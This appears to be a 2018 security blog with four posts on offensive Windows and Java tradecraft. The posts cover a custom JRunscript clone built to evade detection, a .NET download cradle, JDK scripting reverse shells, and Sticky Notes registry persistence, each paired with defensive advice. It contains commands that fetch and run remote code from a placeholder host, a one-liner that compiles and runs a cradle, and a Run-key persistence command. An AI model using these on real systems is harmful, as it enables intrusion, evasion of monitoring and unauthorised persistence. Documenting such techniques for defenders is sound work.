Wednesday, August 15, 2018

BYOJ: Bring Your Own JRunscript

In a follow-up to one of my previous posts titled "Code Execution with JDK Scripting Tools & Nashorn Javascript Engine", I wanted to try and figure out if there was a way to utilize the great functionality of JRunscript, without it actually being present on a machine. I also wanted to see if I could evade the defensive security controls that I recommended by using my own version of JRunscript. This is when I thought of the concept of "BYOJ", or "Bring Your Own JRunscript". This could be utilized in a case when Java 8 and up is installed on a machine, but JRunscript is not, whether it was removed or because the JDK was not installed. Another example where this could be utilized is when JRunscript is installed on a machine, but you are worried about security controls that could detect its usage, such as the easily detectable user-agent string that it uses for remotely fetching files.

This blog post will cover how you can build your own JRunscript, which can be used on a desired machine. It will also cover some evasion methods you can utilize in your own JRunscript, which will evade some of the recommended defensive security controls that I outlined in one of my previous blog posts. I created a Proof of Concept (PoC) of BYOJ that is highlighted in this post, which I have linked below.


Advantages of BYOJ:
  • Ability to customize user-agent string, which is useful in evading user-agent based detection for Nashorn Javascript functions that remotely fetch files (e.g., cat, cp, load).
  • Ability to interact with Nashorn Javascript Engine when JRunscript is not present.
  • Ability to evade process monitoring and full command-line logging rules that look for "jrunscript.exe" process running or being created.
  • Multi-platform compatibility (Windows, macOS, Linux) since it can be ran in Java Virtual Machine (JVM).
Disadvantages of BYOJ:
  • Requires dropping compiled BYOJ file to disk.

Invoking Nashorn Javascript Engine from Java

You can invoke the Nashorn Javascript Engine from Java as seen in the example below. This example was modified from here. A ScriptEngineManager object is first initialized. This object is then utilized to initialize a ScriptEngine object, which accesses the Nashorn Javascript Engine. It then runs the Nashorn Javascript "print" function to display "TEST" to the screen.

Get Source Code of Nashorn Javascript Functions

Now that we know we can invoke the Nashorn Javascript Engine from Java, the next step is to implement the Nashorn Javascript functions that we need in Java code. From an offensive perspective, the tasks that are most important to me are being able to download files, run system commands and execute interpreted code locally or remotely. As such, these are the functions that I focused on when writing the BYOJ PoC. You can obviously implement whatever functions you need for your use case. The functions that perform the actions I was interested in are cp, cat, load and exec. While in the JRunscript interactive shell, you can type a function to get the source code, as seen below. Perform this for each of the functions that need to be implemented. 
Exec Function
The Nashorn Javascript code will need to be converted to Java for BYOJ. If a function is a native Nashorn Javascript function, then it will indicate that it is native code and not display the code to the screen. An example of this is the load function as seen below, which is a native function. For these native functions, you will not need to convert them to Java.
Load Function

Convert Nashorn Javascript Code to Java

Converting the Nashorn Javascript code to Java is relatively straight forward. You can of course make the function custom in your own way, as you will see that I did in my PoC with the cat, cp and load functions in specifying a custom user-agent string. To show a function that was pretty much a one for one conversion, I have shown the exec function below. 
Snippet of BYOJ PoC - Exec Function

If a function was shown as being native (e.g., load), then you can call the function directly using the eval method available in the ScriptEngine object.

Snippet of BYOJ PoC - Calling Native Load Function

Putting It All Together

After you have implemented all of your functions, you can put some logic in your Main function, along with any applicable switches in order to make it user friendly. The only switch I was focused on was the "-e" switch, which is the switch utilized in JRunscript to call the various functions. You could of course customize this to be anything. You can compile your code, and transfer the .class file to the desired machine(s) to be ran directly with the java executable. There is no need to export it as a JAR to be ran. 

You can compile the file using javac on your development machine like below. Ensure this is a machine with Java 8 or higher, as the Nashorn Javascript Engine was not featured before that.


This will create a "BYOJ.class" file. You can transfer it to the desired machine(s) and invoke it like below as an example using the "exec" function. Note that you do not need to specify the ".class" extension.

java BYOJ -e "exec('whoami')"

Some examples of other supported functions and usage in the BYOJ PoC are shown below.

java BYOJ -e "load('http://x.x.x.x/blah.js')"
java BYOJ -e "cat('http://x.x.x.x/blah.js')"
java BYOJ -e "cp('http://x.x.x.x/blah.js','C:\\Temp\\something.txt')"

Defensive Control Evasion Using BYOJ

While utilizing BYOJ, you can evade a number of the defensive security controls that I outlined in my previous post on this topic.

User-Agent String Detection

Below you will see an example of using BYOJ to download a file with a custom user-agent string. The user-agent string specified represents IE 11 for Windows 8.1 in order to blend in with normal traffic. One thing to note is that when using the native load function, even when you specify a custom user-agent, it will append the "Java/<version>" string. 
Downloading File w/ BYOJ

Apache Log Entry - Downloading File w/ BYOJ

Process Monitoring Detection

For process monitoring rules that are in place to look for "jrunscript.exe" running, BYOJ can evade that, since "jrunscript.exe" is not running.
Process Monitoring - BYOJ Running

Full Command-Line Detection

If Sysmon is running, and the event logs are being sent to a SIEM for processing with alerts built for "jrunscript.exe" process create events, BYOJ will evade that since the "jrunscript.exe" process is not being created. In this case, the "java.exe" process is being created and is executing the compiled BYOJ class file.
Event Log from Sysmon - BYOJ Process Creation

Application Whitelisting

BYOJ is executed via the "java.exe" executable, which is a signed Oracle binary that resides in %PROGRAMFILES% or %PROGRAMFILES(x86)% in a default installation. As such, this will still evade the default AppLocker executable rules that are listed at the below link.


Friday, July 6, 2018

Dissecting the .NET Download Cradle

As Powershell is being more heavily monitored, the trend from an offensive perspective has been moving to the adoption of C#. Recently, there was a tweet from @cobbr_io, where he shared a .NET assembly (C# executable or DLL) download cradle that he wrote in C#. This download cradle has the capability to load a remote .NET assembly into memory and run it without dropping it to disk. In this blog post, you will see the internals of this download cradle, practical usage of it from an offensive perspective, and some defensive considerations for its usage.

Below is the original download cradle from @cobbr_io.

Notable .NET Methods

When looking at the download cradle, there are a few key .NET methods that are used, which I want to highlight. 

Assembly.Load Method

The first method is the "Load" method in the "Assembly" .NET object. This method will load a .NET assembly into memory, which can then be invoked. In the case of the download cradle, we are passing a byte array to the "Assembly.Load" method. However, there are other argument combinations that you can pass instead of just a byte array.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

WebClient.DownloadData Method

The second key method in use with the download cradle is the "DownloadData" method in the "WebClient" .NET object. This method allows you to give a URL string as an argument, which will return the downloaded data as a byte array. This byte array is what is passed to the "Assembly.Load" method highlighted previously.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

MethodBase.Invoke Method

The last method that is vital in the download cradle is the "Invoke" method in the "MethodBase" .NET object. This is what makes it possible to actually invoke the .NET assembly that is loaded into memory.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

Compiling .NET Assembly Server Side

You can compile your .NET assembly on the server side with something like the Mono C# Compiler. On Debian Linux, you can install it by simply typing "sudo apt install mono-mcs". After installing the appropriate C# compiler on Linux, you can run the below command to compile your .NET assembly.

mcs source.cs -out:outName

Compiling .NET Assembly Server-Side

Practical Usage of Download Cradle

In order to get the download cradle to function properly, I had to change the second argument in the "Invoke" method from "null" to "new object [1]" as you will see below. The example one-liner shown below takes the slightly modified download cradle code and writes it to disk, then compiles it with the native C# compiler (csc.exe) installed on Windows, and then runs the download cradle to invoke our .NET assembly being remotely hosted. The remote .NET assembly contains code that executes the "calc.exe" process.

echo public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, new object [1]); } } > cradle.cs && C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /target:winexe cradle.cs && cradle http://x.x.x.x/DotNetAssembly

Running Download Cradle - Popping Calc

Defensive Considerations

There are a couple of security controls that you can put in place in order to help in defending against this .NET assembly download cradle.

User Agent String Monitoring

With this download cradle there is no user agent string, which can stick out amongst network traffic. Detection rules can be built from a network perspective for the absence of a user agent string as shown below. Keep in mind that the download cradle could be modified to include a legitimate user agent string, in which case this would not apply anymore.
User Agent String - .NET Assembly Download Cradle

Disallow Downloading of Executable File Types

In your web proxy, you can implement rules that disallow the downloading of executable file types. This should prevent the downloading of the remote .NET assembly in this example.


Tuesday, May 22, 2018

Code Execution with JDK Scripting Tools & Nashorn Javascript Engine

The Java Development Kit (JDK) provides command-line scripting tools that allow for in-memory execution of code that is interpreted by the Nashorn Javascript Engine, which can be utilized on Windows, macOS and Linux when the JDK is installed. This blog post will cover the usage of these JDK command-line scripting tools and the Nashorn Javascript Engine to perform several actions, such as downloading files, executing scripts locally and remotely, and gaining an interactive shell to a computer system. Detective and preventative controls will also be covered for the usage of these JDK scripting tools.

Why is this useful for Offense?

There are several advantages from an offensive perspective in using these JDK scripting tools. Obviously, this completely relies on the JDK being installed in order to take advantage of these tools.
  • No native logging for usage of JDK scripting tools or Nashorn Javascript Engine
  • Can assist in evasion of host-based security controls that rely on or factor in parent process id relationships for detections
  • No need to drop anything to disk
  • JDK Scripting Tools are signed binaries by Oracle
  • Supported on multiple platforms (Windows, Linux, macOS)


First, let's cover a couple basics when it comes to the Java Development Kit and the Java Runtime Environment (JRE).

Java Runtime Environment

he JRE is the Java Virtual Machine (JVM) where Java programs run on, along with browser plugins for applet execution

Java Development Kit

he JDK is a full feature software development kit for Java, which includes the JRE. The JDK is comparable to what the .NET Framework SDK is for developing .NET applications.

Usage of JDK vs. JRE

Below are the differences between the JDK and JRE in relation to their usage.
  • JDK is used if you need to do Java programming or if applications running on host depend on it in order to function. An example of an application running on a host that could depend on the JDK being installed could be a Java Web Application.
  • JRE is used if you only need to be able to run Java programs in browser or on computer. This is all that is needed for typical users.

JDK Version History

The below table shows the version history between JDK versions.
JDK Version History

JDK Scripting Tools

JDK Scripting Tools are command-line tools that can run scripts which interact with the JRE. These tools are located in the below file locations for Windows, Linux and macOS.

  • Windows (default install)
    • C:\Program Files\Java\jdk<version>\bin
    • C:\Program Files (x86)\Java\jdk<version>\bin
    • C:\Program Files\Java\jre<version>\bin
    • C:\Program Files (x86)\Java\jre<version>\bin
  • Linux & macOS (default install)
    • /usr/bin


JRunscript is a command-line scripting shell installed with the JDK on operating systems such as Windows, Linux and macOS that can be used to execute code interpreted by supported Javascript Engines. This tool is installed starting with Java SE 6.

Showing JRunscript Signed by Oracle

JRunscript has the ability to perform several actions with built-in global functions that can be passed to the "-e" switch.
JRunscript Evaluate Switch (-e)

The below functions can be called by "jrunscript -e functionName(arguments)". These definitions were found at
  • cat(path, pattern) -  Shows the content of a file, URL, or InputStream specified by path. Optionally, you can specify pattern to show only the matching contents. 
  • cp(from, to)Copies a file, URL, or stream to another file or stream.
  • exec(cmd)Starts a child process, executes the specified command, waits for completion, and returns the exit code.
  • load(path) - Loads and evaluates JavaScript code from a stream, file, or URL.


JJS (Java Javascript) is another command-line scripting shell installed with the JDK on operating systems such as Windows, Linux and macOS that can be used to execute code interpreted by the Nashorn Javascript Engine. This tool is installed starting with Java SE 8.

Showing JJS Signed by Oracle

Nashorn Javascript Engine

The Nashorn Javascript Engine is a code engine that can interpret and execute ECMA-compliant Javascript. This engine can also interpret and execute Java code starting with Java SE 8. The previous engine utilized was the Mozilla Rhino Javascript engine.

Scripting Syntax

It utilizes a traditional Javascript-like syntax. A great resource can be found at

Extending the Java Programming Language

You can extend the Java programming language as seen in the example below by getting direct access to a Java object. The below example uses the "Runtime" Java object to execute an operating system command with the "getRuntime().exec()" method, which in this case is just "calc.exe". More great examples can be found at


Below you will see several practical uses of the JDK Scripting tools to download files, execute system commands, run local and remote scripts, and get a reverse shell on a computer system.

Downloading Files

The below commands show how to download files with JRunscript either from a web server or file share using the "cat" and "cp" global functions.

Execute System Commands

The below commands show how to execute system commands with JRunscript using the "exec" global function.

Loading & Running Local Scripts

The below commands show how to execute local scripts with JRunscript and JJS.

Loading & Running Remote Scripts

The below commands show how to execute remote scripts with JRunscript using the "load" global function. This will load and execute a script without dropping it to disk.

One-Liner Reverse Shell

The below commands show how to execute a one-liner to give a reverse shell with JRunscript. For the Windows command, it will send the "cmd.exe" process to the IP address and port that you specify. In the Linux & macOS command, it will send "/bin/bash -i" to the IP address and port that you specify. Credit for the original finding of the one-liner reverse CMD shell goes to Chris Frohoff.

Base64 Encoded One-Liner Reverse Shell

The below commands show how to execute a base64 encoded one-liner to give a reverse shell with JRunscript. An example script that can be base64 encoded for a reverse CMD shell can be found here. Credit for the original finding of this base64 encoded one-liner and example reverse CMD shell goes to Chris Frohoff.

Defensive Considerations

There are multiple detective and preventative controls that can be implemented in regards to the usage of the JDK scripting tools. For host-based controls, I will be focusing on Windows.

Full Command-Line Logging

Utilize free tools such as Sysmon to perform full command-line logging. I setup a default install of Sysmon, and it caught the running of JRunscript in my home lab as seen in the screenshot below. These logs will need to be sent to a Security Information & Event Management (SIEM) system where they can be processed and appropriate alerts can be created.

Sysmon Output on My Home Lab Machine

Process Monitoring

Monitor for process creation events containing "jrunscript.exe" or "jjs.exe" However, keep in mind that these files can be renamed and executed as well with appropriate file system permissions.

Filtering on JRunscript Process

User Agent String Monitoring

When utilizing the file download (cat & cp) and remote script loading (load) global functions in JRunscript, the user agent used is "Java/<jdk version>". Rules for detection of this user agent can be implemented.

Apache Logs Showing User Agent String

Application Whitelisting

Implement a robust application whitelisting policy that includes the blocking of JRunscript and JJS. For example, with AppLocker you will need to tweak beyond the default executable rules shown below, as the default rule to allow executable files located in the "Program Files" and "Program Files (x86)" directories would still permit the JDK Scripting Tools to execute.

AppLocker Default Executable Rules

Uninstall JDK

Survey the inventory of hosts in your enterprise and uninstall the JDK where not needed to reduce your risk exposure.


Tuesday, May 8, 2018

Persistence with Sticky Notes Registry Value

Sticky Notes is a Windows utility that can be used by users in order to keep track of notes. When Sticky Notes is started, it writes a registry value called "RESTART_STICKY_NOTES" to  "HKCU\Software\Microsoft\Windows\CurrentVersion\Run". This registry value contains the full path to the Sticky Notes executable (C:\Windows\System32\stikynot.exe), so that when a user logs in after logging off or system reboot, the Sticky Notes are visible automatically for the user. The registry value can be modified, so that upon a user logging in, it executes a program of your choosing rather than Sticky Notes. When the user starts their Sticky Notes application again to display their notes, it will restore the value back to the full path of the Sticky Notes application. This process needs repeated the next time persistence is desired (e.g., before the user will logoff or machine restarts again). 

This can be taken advantage of as a persistence trigger that will blend in with normal behavior on Windows 7 and Windows 8.1, especially if utilizing a signed Microsoft binary to execute a payload (e.g., MSBuild) to hide from utilities like Sysinternals Autoruns. This does not apply to Windows 10.

Procmon Analysis of Sticky Notes Running

While analyzing the operations performed when running Sticky Notes with Sysinternals Procmon, an observation was made that it created a registry value of "RESTART_STICKY_NOTES" in the "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" registry key as seen below.

Procmon Analysis - Sticky Notes Creating Registry Value

Additionally, it was also observed that upon closing any Sticky Notes that were up, the "RESTART_STICKY_NOTES" registry value was deleted. Therefore, this registry value only remains present when a user has active Sticky Notes displayed.
Procmon Analysis - Sticky Notes Deleting Registry Value

Sticky Notes Registry Value Upon Startup

The below screenshot shows the initial registry value "RESTART_STICKY_NOTES" that is created and populated via Sticky Notes.
Registry Value When Sticky Notes is Started

You can see how this looks in Autoruns while showing Windows entries. Autoruns by default does not show Windows entries, so you have to change this filter.
Autoruns Showing Windows Entries w/ Sticky Notes Registry Value

Updating Sticky Notes Registry Value

You can update the registry value with a program of your choosing. In this example, we are just updating it with the execution of calc. No elevated permissions are required in order to do this.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RESTART_STICKY_NOTES /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc.exe" /f
Modified Sticky Notes Registry Value

Program Execution Upon Login via Modified Sticky Notes Registry Value

Now you can see upon the user logging in, calc runs via our registry change.
Calc Starting After Login

Automatic Reverting of Sticky Notes Registry Value

Once the user interacts with (starts) Sticky Notes again, the registry value will be overwritten with the full path to the Sticky Notes executable again. If you need persistence after the next logoff/logon or system restart, then you will need to repeat the process of updating the registry value before that occurs.

Defensive Considerations

Although the "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" registry key should be actively monitored for abnormal entries along with other known registry persistence locations, the Sticky Notes entry may be ignored as it is normal behavior for Sticky Notes to populate its "RESTART_STICKY_NOTES" value. Therefore, additional monitoring of that registry value should be performed, in order to ensure that it remains the full path of the Sticky Notes executable. Any other file path that is populated should be investigated.